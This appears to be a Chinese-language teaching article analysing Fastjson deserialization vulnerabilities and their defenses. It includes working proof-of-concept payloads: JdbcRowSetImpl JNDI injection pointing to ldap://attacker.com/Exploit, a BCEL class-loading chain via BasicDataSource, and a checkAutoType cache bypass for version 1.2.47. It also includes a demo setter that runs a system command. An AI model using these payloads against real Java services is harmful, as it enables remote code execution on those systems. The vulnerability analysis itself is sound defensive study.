Fastjson反序列化漏洞代码分析
字数 1472 2025-09-01 11:25:54
Fastjson反序列化漏洞深度分析与教学文档
1. Fastjson简介
Fastjson是阿里巴巴开源的一个高性能Java库,主要用于:
- 将Java对象转换为JSON字符串(序列化)
- 将JSON字符串转换为Java对象(反序列化)
因其解析速度快、使用简单,被广泛应用于Java开发中。
2. 漏洞原理
Fastjson反序列化漏洞的核心在于@type字段的动态类加载机制:
- @type字段作用:指定反序列化时应该转换成的Java类
- 漏洞成因:当攻击者能够控制
@type字段的值时,可以:- 加载任意恶意类
- 触发类中的危险方法
- 可能导致远程代码执行(RCE)、信息泄露等安全问题
3. 漏洞分析
3.1 基本执行流程
通过一个简单的Group类示例展示Fastjson的工作流程:
// Group.java
public class Group {
private Long id;
private String name;
private Map map;
public Group() {
System.out.println("构造方法Group");
}
public void setId(Long id) {
System.out.println("setId");
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch(Exception e) {}
this.id = id;
}
// 其他getter/setter省略
}
// Main.java
public class Main {
public static void main(String[] args) {
String s = "{\"@type\":\"org.example.Group\",\"id\":0,\"name\":\"admin\"}";
JSONObject jsonObject = JSON.parseObject(s);
System.out.println(jsonObject);
}
}
执行流程:
- 通过
@type指定目标类org.example.Group - Fastjson实例化Group对象
- 调用setter方法设置属性
- 执行过程中触发恶意代码(如示例中的计算器弹出)
3.2 Fastjson <= 1.2.24漏洞利用
方式一:JNDI注入
环境要求:
- JDK 1.8.0_102(高版本有防护)
- Fastjson 1.2.24
- tomcat-dbcp 9.0.20
利用点:
com.sun.rowset.JdbcRowSetImpl类的connect()方法中存在JNDI lookup操作
利用链:
setAutoCommit()→connect()connect()→lookup(DataSourceName)
POC:
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",
\"DataSourceName\":\"ldap://attacker.com/Exploit\",
\"autoCommit\":false}";
JSON.parseObject(s);
方式二:BCEL类加载(不出网)
利用点:
org.apache.tomcat.dbcp.dbcp2.BasicDataSource类的createConnectionFactory方法
利用链:
- 通过
setDriverClassName设置恶意BCEL编码的类 - 通过
setDriverClassLoader设置类加载器 getConnection()触发类加载
POC:
// 生成BCEL编码的恶意类
ClassLoader classLoader = new ClassLoader();
byte[] bytes = fileToByteArray("Test.class"); // 恶意类字节码
String code = Utility.encode(bytes, true);
// Fastjson利用
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",
\"DriverClassName\":\"
$$
BCEL
$$
"+code+"\",
\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parseObject(s);
3.3 Fastjson <= 1.2.47漏洞利用
1.2.24之后的版本增加了checkAutoType防护,但存在缓存绕过:
绕过原理:
- Fastjson会缓存已加载的类
- 先通过无害的
java.lang.Class加载恶意类到缓存 - 再直接使用恶意类
利用步骤:
- 使用
java.lang.Class加载目标类到缓存 - 使用目标类进行攻击
POC:
String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",
\"datasourcename\":\"ldap://attacker.com/Exploit\",
\"autocommit\":0}}";
JSON.parseObject(s);
4. 防护措施
- 升级Fastjson:使用最新版本(已修复这些漏洞)
- 安全配置:
- 开启
SafeMode - 配置
autoTypeSupport为false - 使用白名单机制
- 开启
- JDK防护:
- JDK 8u113+默认禁用远程Codebase加载
- 设置系统属性
com.sun.jndi.rmi.object.trustURLCodebase=false
5. 漏洞验证与测试
测试时注意:
- 使用正确的JDK版本(如1.8.0_102测试JNDI)
- 确认Fastjson版本
- 使用无害的测试命令(如弹出计算器)
6. 总结
Fastjson反序列化漏洞的核心在于:
@type字段的动态类加载- 危险方法的自动调用(setter/getter)
- 可利用的JDK内置类(JdbcRowSetImpl等)
理解这些原理有助于:
- 更好地防御此类漏洞
- 安全地使用JSON库
- 提高代码审计能力